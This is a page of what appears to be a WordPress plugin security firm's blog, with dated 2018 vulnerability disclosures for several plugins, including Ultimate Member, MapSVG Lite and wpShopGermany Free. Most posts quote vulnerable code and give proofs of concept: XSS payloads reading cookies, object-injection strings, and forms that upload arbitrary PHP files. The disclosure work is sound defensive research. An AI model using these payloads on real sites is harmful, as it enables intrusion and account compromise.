10 Aug

Our Plugin Security Checker Identified Another Reflected XSS Vulnerability in WordPress Plugin with 100,000+ Active Installs

In a reminder of the rather poor state of security of WordPress plugins and how our Plugin Security Checker tool (which is accessible through a WordPress plugin of its own) can help you to get a better idea if they are in need of additional security scrutiny recently the plugin Ultimate Member, which has 100,000+ active installs according to wordpress.org, was run through the tool and it identified a possible reflected cross-site scripting (XSS) vulnerability in the plugin.

Looking at the details of the issue identified, which are available to users of our service through the tool’s Developer Mode, it certainly looked like there was that type of vulnerability as user input was being output without being escaped:

A quick check confirmed that this was an exploitable vulnerability (though far from a serious issue for the average website), as can be seen with the proof of concept below.

The vulnerability has been in the plugin since April without anyone noticing it, despite the fact that an automated tool was able to spot it. While the vulnerability isn’t a serious issue, it is due to a failure to do a security basic and shouldn’t be something that should be in a plugin developed by an “experienced plugin developer” and has generated over a million dollars worth of revenue. Maybe, not all that surprisingly the plugin also contained a much more serious vulnerability that was being widely exploited before being belated fixed by the developer in same release that fixed this one.

A “Reputable” Plugin Isn’t a Secure Plugin

There is no shortage of advice when it comes to the security of WordPress websites, though much of it is quite bad. That is unfortunately true of so much coming from security companies that people incorrectly trust not just to get accurate information but also to provide them security. We often find that suggestions are made on how to choose plugins that are secure where there is no supporting evidence being provided for the suggestions and that those with even a cursory understanding of the security issues surrounding WordPress plugins would likely find questionable at best.

This plugin is a good example of where a plugin that would meet many common suggestions is at the same time contains an easily spottable vulnerability. Here for example, were suggestions made by Wordfence last November:

Choose Reputable Plugins

The WordPress.org plugin directory makes it really easy to evaluate plugins by providing a nice summary that gives you almost everything you need. Here’s what we suggest you pay attention to:

  • The more recent the last update, the better.
  • Check the number of active installs the plugin has. Some reliable and useful plugins have low install numbers, but you should still examine a plugin carefully if it has a low install base (below 1,000 active installs). It may not be maintained.
  • It should be compatible with the current version of WordPress, though please note that immediately after a WordPress core release, a lot of reputable plugins will show a “Test up to:” value that is behind, as authors finish testing their plugin with the latest WordPress version.
  • The average plugin rating should be high enough to instill confidence. The higher the rating, the better, obviously.

You should also periodically review your installed plugins to make sure they have maintained their good standing.

This plugin meet all of those at the time we looked in to the issue:

A plugin being recently updated, popular, maintained, and highly rated doesn’t mean in any way it is secure. While this vulnerability was fixed after a month we have found that security vulnerabilities in other popular and recently updated plugins are not always fixed in a timely or ever.

Proof of Concept

The following proof of concept will cause an alert box with the message “XSS” to be shown when logged in WordPress as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=um_options&tab=email&section=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3Eylo

Timeline

  • July 12, 2018 – Developer notified.
  • July 13, 2018 – Developer responds.
  • August 9, 2018 – Version 2.0.22 released, which fixes vulnerability.
10 Aug

Our Proactive Monitoring Caught an Authenticated PHP Object Injection Vulnerability in a Brand New Plugin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated PHP object injection vulnerability we found in a brand new plugin, Woocommerce Aliexpress Dropshipping Lite. This vulnerability could allow an attacker that had access to a WordPress account to exploit a PHP object injection vulnerability. It also could have allowed an attacker that could get a user logged in to WordPress to visit a URL the attacker controls, to exploit the vulnerability as well.

Since the check used to spot this is also included in our Plugin Security Checker (which  is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurs in the function CedWad_addProductToBunch(). That function, which is located in the file /admin/class-CedWad-admin.php, passes the value of the POST input “productData” through the unserialize() function, which could lead to PHP object injection:

460
461
462
463
464
465
public function CedWad_addProductToBunch(){
	$products = array();
	$filterId = isset( $_POST['filterId'] ) ? sanitize_text_field($_POST['filterId']) : "";
	$bunchId = isset( $_POST['bunchId'] ) ? sanitize_text_field($_POST['bunchId']) : "";
	$productId = isset( $_POST['productId'] ) ? sanitize_text_field($_POST['productId']) : "";
	$productData = isset( $_POST['productData'] ) ? unserialize(stripslashes($_POST['productData'])) : array();

That function is accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

71
add_action('wp_ajax_CedWad_addProductToBunch', array($this, 'CedWad_addProductToBunch'));

We notified the developer of the issue a month ago. They responded four days later and said an update was in the works, but no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=CedWad_addProductToBunch" method="POST">
<input type="hidden" name="productData" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • July 12, 2018 – Developer notified.
  • July 16, 2018 – Developer responds.
08 Aug

Arbitrary File Upload Vulnerability Being Exploited in Current Version of Ultimate Member

The WordPress plugin Ultimate Member was recently brought on to our radar after it had been run through our Plugin Security Checker and that tool had identified a possible vulnerability in it. We happened to take a look into that as part of continued effort to improve the results coming from that tool. We confirmed that there was a vulnerability and notified the developer. The developer responded that they would fix that as soon as possible, but it has been nearly month and that hasn’t happened. In line with our disclosure policy we are scheduled to be disclosing that vulnerability on Friday. Thankfully that vulnerability isn’t something that is likely to be exploited in an untargeted hack, but there is another vulnerability that is presently being exploited in the current version, 2.0.21, of the plugin.

Yesterday we were contacted about a thread on the WordPress Support Forum discussing that possibility. In that thread the developer responded more than a day ago with:

We’ve overhauled our files upload and increased security, the update will be live very soon.
Please make sure to update to the latest version when it will be available.

There still hasn’t been a new version released.

When we went to look into that, one of the things we found was that there are a couple of files in the plugin that contain upload functionality that don’t seem to actually be used by the plugin. It isn’t clear what is going on there since they don’t seem to have been used in the first version they were introduced in either.

We also found that trying to follow the other upload functionality was somewhat confusing and so while we came close to understanding what might at issue, we didn’t fully crack things yesterday.

In further looking today we ran across another thread that contains several replies from today that add more detail on the hacking side that we could then confirm in the code.

The non-technical explanation for what is going on is that the plugin’s functionality for uploading images does not contain code that would fully restrict uploading malicious files as long as you are able to cause some of the code to see them as image files. Those malicious files get added to directories inside of the directory /wp-content/uploads/ultimatemember/temp/. While those directories and file names have randomized names it can be possible to determine them in certain circumstances and then hackers can take further action on the website through the files.

We are in the process of contacting the developer about the situation to see if that might speed up them releasing a fix.

One quick temporary solution to this is to disable the image upload functionality, which can be done by adding the following lines

			$ret['error'] = __('Functionality disabled');
			exit(json_encode($ret));

directly below the line

		function ajax_image_upload() {

in the file /includes/core/class-files.php.

Since this vulnerability is being exploited, we have made this vulnerability details post public (unlike most of them that are limited to our customers) and we are also adding the vulnerability to the free data that comes with our service’s companion plugin, which it would probably be a good idea to be using even if you don’t use our service since it will warn about just this type of situation.

If you need a website using this plugin cleaned up, our service for cleaning up a hacked WordPress website at our main website currently includes a free lifetime subscription to this service.

Wordfence Missed It

Partly, maybe largely, based on false claims made by the makers of the Wordfence Security plugin many people believe that the plugin is much more capable than it truly is. In this case it failed to stop the hack or even detect the after effect as indicated by one of the commentators in the first thread:

What monitor did you use? I had WordFence and it didn’t catch it.

We have personally been brought in to clean up many hacked websites where it either failed to protect the website and or it failed to detect the result of the hack afterwards.

The Underlying Code

The image upload functionality is handled through the aforementioned function ajax_image_upload(). In that function the function check_image_upload() checks the image and if there is an error stops the rest of the upload process from happening:

1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
			$error = UM()->files()->check_image_upload( $temp, $id );
			if ( $error ){
 
				$ret['error'] = $error;
 
			} else {
				$file = "stream_photo_".md5($file)."_".uniqid().".".$ext;
				$ret[ ] = UM()->files()->new_image_upload_temp( $temp, $file, UM()->options()->get('image_compression') );
 
			}
 
		}
 
	} else {
		$ret['error'] = __('A theme or plugin compatibility issue','ultimate-member');
	}
	echo json_encode($ret);
	exit;
}

At the beginning of the function check_image_upload() it calls the function get_image_data():

592
593
594
595
function check_image_upload( $file, $field ) {
	$error = null;
 
	$fileinfo = $this->get_image_data( $file );

That function in turn attempts to check for an invalid image and determine some information about the image:

556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
function get_image_data( $file ) {
 
	$array['size'] = filesize( $file );
 
	$array['image'] = @getimagesize( $file );
 
	if ( $array['image'] > 0 ) {
 
		$array['invalid_image'] = false;
 
		list($width, $height, $type, $attr) = @getimagesize( $file );
 
		$array['width'] = $width;
		$array['height'] = $height;
		$array['ratio'] = $width / $height;
 
		$array['extension'] = $this->get_extension_by_mime_type( $array['image']['mime'] );
 
	} else {
 
		$array['invalid_image'] = true;
 
	}
 
	return $array;
}

There are a couple of important issues with that though. The function getimagesize() is used there to determine if there is valid image, but the documentation for it states:

Caution
This function expects filename to be a valid image file. If a non-image file is supplied, it may be incorrectly detected as an image and the function will return successfully, but the array may contain nonsensical values.

Do not use getimagesize() to check that a given file is a valid image. Use a purpose-built solution such as the Fileinfo extension instead.

The other issue is the use MIME type to determine the extension of the file, since that is user specified and does not have to be the same as the actual file extension of the file.

Those two issues can be combined to allow a file with say a .php extension to be treated by that code as an image file. Based on part of a comment in the second thread that is in fact the type of file the hacker is uploading:

The files are spoofed gif images. So the mime-type will detect as gif. But then have php embedded in them. When pushed through the php processor the gif parts are passed through to the browser just like html in the file would be and showing up as garbage on the screen, and then the php is executed behind the scenes once it is encountered.

Getting back to the function check_image_upload() it uses the potentially inaccurate information from get_image_data() to check if there is an error:

668
669
670
671
672
673
674
675
676
677
678
679
680
681
	if ( $fileinfo['invalid_image'] == true ) {
		$error = sprintf(__('Your image is invalid or too large!','ultimate-member') );
	} elseif ( isset( $data['allowed_types'] ) && !$this->in_array( $fileinfo['extension'], $data['allowed_types'] ) ) {
		$error = ( isset( $data['extension_error'] ) && !empty( $data['extension_error'] ) ) ? $data['extension_error'] : 'not allowed';
	} elseif ( isset($data['min_size']) & ( $fileinfo['size'] < $data['min_size'] ) ) {
		$error = $data['min_size_error'];
	} elseif ( isset($data['min_width']) && ( $fileinfo['width'] < $data['min_width'] ) ) {
		$error = sprintf(__('Your photo is too small. It must be at least %spx wide.','ultimate-member'), $data['min_width']);
	} elseif ( isset($data['min_height']) && ( $fileinfo['height'] < $data['min_height'] ) ) {
		$error = sprintf(__('Your photo is too small. It must be at least %spx wide.','ultimate-member'), $data['min_height']);
	}
 
	return $error;
}

Since that can be bypassed in the fashion the hacker is doing the rest of the upload process then runs.

PHP’s Built-in Temp Directory

One of other element that seems worth mention for the programming set relates to another part of the comment we already quoted about the file being uploaded, they also wrote:

I’d recommend to the programmers in this case, if they are hell bent on using the ‘uploads’ folder as a ‘temp’ directory to ensure that they have an empty index.html file in the temp directory to help stop this attack vector.

And I would recommend to all wordpress users to disable/block php from running in the uploads folder(as above), because it’s not only these programmers that have decided that the uploads folder is a great place to use for general plugin data storage.

I’d go further and propose to all plugin coders that they stop this practice and instead create/support a non-web-accessible directory for such purposes which completely removes the attack vector in its entirety.

PHP actually has built-in functionality for handling temporary files, more can found in the documentation for the function tmpfile().

18 Jul

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in MapSVG Lite

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated arbitrary file upload vulnerability we found in the plugin MapSVG Lite. This vulnerability could allow an attacker that had access to a WordPress account to upload arbitrary files to the website. It also could allow an attacker that could get a user logged in to visit a URL the attacker controls, to exploit the vulnerability as well.

Since the check used to spot this is also included in our Plugin Security Checker (which  is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurs in the function mapsvg_upload(). That function, which is located in the file /mapsvg.php, would create a file with a filename and contents specified by user input that will be placed in the directory /wp-content/uploads/mapsvg/:

2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
function mapsvg_upload () {
    $mapsvg_error = mapsvg_check_upload_dir();
 
    if(!$mapsvg_error){
        $filename = sanitize_file_name(basename($_POST["filename"]));
        $target_file = MAPSVG_MAPS_UPLOADS_DIR . "/".$filename;
 
//        $file_parts = pathinfo($_FILES['svg_file']['name']);
 
        $file = fopen($target_file, 'w');
        fwrite($file, stripslashes($_POST['data']));
        fclose($file);
 
        echo $filename;
 
    }
    die();
}

That function is accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

add_action('wp_ajax_mapsvg_upload', 'mapsvg_upload');

There is a similar issue with another AJAX accessible function, ajax_mapsvg_save_svg().

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

If you were using our service not only would you be warned about this issue promptly after it was disclosed if you were using the plugin, but we would be there to help you deal with the issue on your website.

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/uploads/mapsvg/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=mapsvg_upload" method="POST">
<input type="hidden" name="filename" value="test2.php" />
<input type="hidden" name="data" value="[PHP code]" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • July 11, 2018 – Developer notified.
13 Jul

ThreatPress’ Strange Claim That Plugins Are the Most Common Cause of WordPress Website Hacking

When it comes to improving web security, one of the big problems we see is that there is so much inaccurate and outright false information put out by the security industry. That among other things, leads to people spending a lot of time and money trying to protect against threats that don’t really exist. Even when real threats get mentioned we often find that claims are being made that are not supported by the cited source of the claim (assuming there even is one). That is often the case when it comes to security surrounding WordPress, including our specific focus, WordPress plugins. As a quick example that we ran across not too long ago, a WordPress focused security company named ThreatPress claimed in a post that:

Plugins are the most common cause of WordPress website hacking.

Following that link gets you to a page that makes no mention whatsoever as to the cause of WordPress websites being hacked. What makes that so strange is that what is linked to is another post on ThreatPress’ own website, which is about how many plugin and theme vulnerabilities they added to a data set they collect last year. Considering the services that company provides they should be well aware that number of vulnerabilities found in WordPress plugins wouldn’t in any way tell you how often they are the cause of WordPress website being hacked.

It is also worth noting that their data set is missing a very significant number of vulnerabilities considering they claim to have only added 200 new plugin vulnerabilities last year, while we had added over 500. That doesn’t match up with one of their employees claim that their data set “includes all known vulnerabilities”.

13 Jul

WordPress Plugin Security Review: Stagehand Events

We were recently hired to do a security review of the WordPress plugin Stagehand Events.

The review was done on version 1.0.5 of Stagehand Events. We checked for the following issues during this review:

  • Insecure file upload handling (this is the cause of the most exploited type of vulnerability, arbitrary file upload)
  • Deserialization of untrusted data
  • Security issues with functions accessible through WordPress’ AJAX functionality (those are a common source of disclosed vulnerabilities these days)
  • Persistent cross-site scripting (XSS) vulnerabilities in publicly accessible portions of the plugin
  • Cross-site request forgery (CSRF) vulnerabilities in the admin portion of the plugin
  • SQL injection vulnerabilities (the code that handles requests to the database)
  • Reflected cross-site scripting (XSS) vulnerabilities
  • Security issues with functions accessible through any of the plugin’s shortcodes
  • Security issues with functions accessible through the admin_action action
  • Security issues with functions accessible through the admin_init action
  • Security issues with import/export functionality
  • Security issues with usage of is_admin()
  • Host header injection vulnerabilities
  • Lack of protection against unintended direct access of PHP files
  • Insecure and unwarranted requests to third-party websites
  • Any additional possible issues identified by our Plugin Security Checker

Results

We found no issues with any of the checked items in version 1.0.5 of Stagehand Events.

09 Jul

Our Proactive Monitoring Caught a PHP Object Injection Vulnerability in Advanced Advertising System

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability of a type that hackers are likely to exploit if they know about it. Since the check used to spot this is also included in our Plugin Security Checker (which is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our main service as well as separately).

In the plugin Advanced Advertising System the value of a cookie, “view_aas_campaigns”, is passed through the unserialize() function in a couple of locations, which could lead to PHP object injection. One of those locations is in the function is_available() in the file /shortcode.php:

198
$person = unserialize(stripslashes($_COOKIE['view_aas_campaigns'])); // Check a person from his cookie.

That code will run on pages where the plugin’s zone shortcode is used as long as it has a campaign attached to it.

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “view_aas_campaigns” to “O:20:”php_object_injection”:0:{}” and then when you visit a page using the plugin’s zone shortcode (with a campaign attached to the zone) the message “PHP object injection has occurred.” will be shown.

Timeline

  • July 2, 2018 – Developer notified.
09 Jul

Our Proactive Monitoring Caught a PHP Object Injection Vulnerability in Giveaway Boost

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability of a type that hackers are likely to exploit if they know about it. Since the check used to spot this is also included in our Plugin Security Checker (which is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our main service as well as separately).

In the plugin Giveaway Boost the value of a cookie is passed through the unserialize() function, which could lead to PHP object injection. That occurs in the function gb_getcookie(), which is located in the file /includes/cookies.functions.php:

11
12
function gb_getcookie($name, $default = false) {
	$value = isset($_COOKIE[$name]) ? maybe_unserialize(stripslashes($_COOKIE[$name])) : $default;

That code will run on the plugin’s promotion pages.

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “gb_tracking_” plus the post ID number to “O:20:”php_object_injection”:0:{}” when on one of the plugin’s promotion pages then the message “PHP object injection has occurred.” will be shown. The post ID can be found to the right of the text “gb_entry_” in the page’s source code.

Timeline

  • July 2, 2018 – Developer notified.
02 Jul

When A Security Vulnerability Is Only One of the Issues With a WordPress Security Plugin

We don’t think too highly of the security industry and we are often reminded of why that is, as was the case when we did a quick check of the plugin Sitesassure WP Malware Scanner. We had run across the plugin on the website of a company, 911websiterepair.com, which offers to clean up hacked websites, where it was listed as their plugin. The plugin didn’t mention anything about that website instead it was connected to another website and the look of that website didn’t exactly give us a good feeling about the potential quality of the plugin:

We then did a quick check of the plugin. What we found was poor security and a minor security vulnerability in the plugin. We will get to those in a moment, but first we want to bring up a couple of questionable items.

In looking over the code one thing that we quickly noticed was that there was a significant amount of code in the plugin for accessing a scanner from a company named Quttera. Oddly, nowhere in the description of the plugin or in the plugin is there any mention of that company. As far as we can tell that is actually who is doing the scanning. Considering that Quttera provides their own plugin (which we also recently found contained a vulnerability) it looks like Sitesassure’s plugin mainly serves as advertisement for them and to collect information on people using it, rather than providing a capability that isn’t available elsewhere.

As to the data collection, when you take various actions not only does the plugin connect to the Sitesassure website but it also sends out an email to someone. That seems like it might be a violation of one of the developer guidelines for WordPress plugins, but what seems odder is that the current email address doesn’t have an obvious connection with the plugin. As an example of that is the code run when the plugin is deactivated:

function swms_sitesassureDeactivate()
{
	$site_domain = get_bloginfo('url');
	$req_url = SWMS_REQUEST_URL;
	$response = wp_remote_post( $req_url, array(
	'method' => 'POST',
	'timeout' => 45,
	'redirection' => 5,
	'httpversion' => '1.0',
	'blocking' =>; true,
	'headers' => array(),
	'body' => array("action" => SWMS_UPDATE_REQUEST, 'domain' => $site_domain, "status" => SWMS_INACTIVE_STATUS),
	'cookies' => array()
    )
	);
	if ( is_wp_error( $response ) ) {
	   $error_message = $response->get_error_message();
	   _e("Something went wrong: $error_message","swms");
	} else {
	   if($response['response']['code'] == 200 && $response['response']['message'] == "OK")
	   {
	   		$message = 'Hi SA Admin,
'.$site_domain.' is deactivated the WPSASCANNER plugin';
	   		swms_sendEmail(array('to' => 'nagaraj@spinzsoft.com','subject' => $site_domain.' Deactivated Message','message' => $message));
 
	}
}

That code first sends a request to the Sitesassure website and if that request is successful an email is sent to nagaraj@spinzsoft.com. The website at spinzsoft.com doesn’t seem to be connected to the Sitesassure website. Up until June 13, when version 2.0 of the plugin was released, emails were instead sent to support@sitesassure.com. Prior to release of 2.0, the last update made to the plugin was in December of 2015.

One common area of security issues in plugins is functionality accessed through WordPress’ AJAX functionality. Often due to allowing those not logged in to WordPress to access functionality only intended for those logged in or due to allowing low level users access to functionality they are not intended to have access to. In the case of this plugin both of those issues occur.

In one of the functions that is accessible to anyone logged in WordPress despite only being intended to be accessed by Administrators there was a security issue not related to allowing lower level users to access it. Instead the issue was that user input is output without being sanitized or escaped, which could allow reflected cross-site scripting (XSS) to occur. That occurred in the function swms_get_admin_url(), which is located in the file /sitesassure-wp-malware-scanner.php:

494
495
496
497
498
499
function swms_get_admin_url(){
	$swms_scanned_url = $_POST['data'];
	$swms_admin_url = admin_url("admin.php?page=swms_scanner_report_page&swms_url=$swms_scanned_url");
	echo $swms_admin_url;
	exit;
}

Two days after we notified the developer of the issue a change was to fix it, but the version number was not changed, so no one already using version 2.0 will be prompted to update. We had also notified of the developer of the more general lack of security in the plugin, lack of restriction on who can access AJAX accessible functions and lack of protection against cross-site request forgery (CSRF), but no changes have been made related to those yet. We have yet to receive any response from the developer.

The vulnerability was fixed by passing the user input through the esc_url() function:

494
495
496
497
498
499
500
function swms_get_admin_url(){
	$swms_scanned_url = $_POST['data'];
	$swms_scanned_url = esc_url($swms_scanned_url);
	$swms_admin_url = admin_url("admin.php?page=swms_scanner_report_page&swms_url=$swms_scanned_url");
	echo $swms_admin_url;
	exit;
}

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box, when logged in to WordPress. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=swms_get_admin_url" method="POST">
<input type="hidden" name="data" value="<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • June 25, 2018 – Developer notified.
  • June 27, 2018 – Change made to version 2.0 to fix vulnerability.
02 Jul

Our Proactive Monitoring Caught a Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in wpShopGermany Free

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the cross-site request forgery (CSRF)/arbitrary file upload vulnerability we found in the plugin wpShopGermany Free. This vulnerability could have allowed an attacker that could get a logged in Administrator to visit a URL the attacker controls, to unintentionally upload arbitrary files.

Since the check used to spot this is also included in our Plugin Security Checker (which  is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurred in the function widerrufsbelehrungAction() in the file /controller/wpsg_AdminController.class.php. That function runs when accessing the page /wp-admin/admin.php?page=wpsg-Admin&subaction=widerrufsbelehrung, which is accessible to Administrator-lever users. When that function was run as of version 4.0.10, if the GET or POST input “submit” existed and file attached to an input named “wpsg_widerrufsformular” existed then the file would have been saved to the directory /wp-content/uploads/wpsg/wpsg_revocation/:

1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
public function widerrufsbelehrungAction()
{
 
	if (isset($_REQUEST['submit']))
	{
 
		$this->shop->update_option('wpsg_ps_mailwiderruf', $_REQUEST['wpsg_ps_mailwiderruf']);
		$this->shop->addTranslationString('wpsg_ps_mailwiderruf', $_REQUEST['wpsg_ps_mailwiderruf']);
 
		if (file_exists($_FILES['wpsg_widerrufsformular']['tmp_name']))
		{
 
			if (!file_exists(WPSG_PATH_UPLOADS.'wpsg_revocation/')) mkdir(WPSG_PATH_UPLOADS.'wpsg_revocation/', 0775, true);
 
			$this->clearRevocationForm();
 
			move_uploaded_file($_FILES['wpsg_widerrufsformular']['tmp_name'], WPSG_PATH_UPLOADS.'wpsg_revocation/'.$_FILES['wpsg_widerrufsformular']['name']);

There was no check for a valid nonce, which would prevent cross-site request forgery (CSRF) from occurring. There also was no restriction on what types of files can be uploaded.

After we notified the developer they released version 4.0.11, which fixes the vulnerability by checking for a valid nonce before allowing files:

1731
1732
1733
1734
1735
1736
1737
public function widerrufsbelehrungAction()
{
 
	if (isset($_REQUEST['submit']))
	{
 
		\check_admin_referer('wpsg-save-revocation');

A check of the mime type of the file being uploaded was also added.

There are other locations in the plugin without proper protection against CSRF and the developer said that those would be fixed in the next 4 weeks.

Proof of Concept

The following proof of concept will upload the selected file to the directory/wp-content/uploads/wpsg/wpsg_revocation/, when logged in to WordPress as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=wpsg-Admin&subaction=widerrufsbelehrung&noheader=1" method="POST" enctype="multipart/form-data">
<input type="file" name="wpsg_widerrufsformular" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 25, 2018 – Developer notified.
  • June 26, 2018 – Developer responds.
  • June 29, 2018 – Version 4.0.11 released, which fixes vulnerability.